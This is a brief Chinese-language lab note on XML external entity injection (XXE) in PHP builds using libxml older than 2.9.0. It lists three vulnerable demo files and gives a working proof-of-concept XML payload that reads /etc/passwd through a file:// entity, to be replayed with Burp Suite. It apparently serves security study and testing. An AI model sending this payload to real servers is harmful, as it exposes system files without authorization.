php-->libxml版本低于2.9.0时存在XML外部实体注入漏洞(XXE)

默认目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。

POC

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe[ 
    <!ELEMENT test ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	
<test>
    <name>&xxe;</name>
</test>

测试

bp进行数据包修改和重放

将file协议访问/etc/passwd的值赋予给xxe,然后再xml正文中引用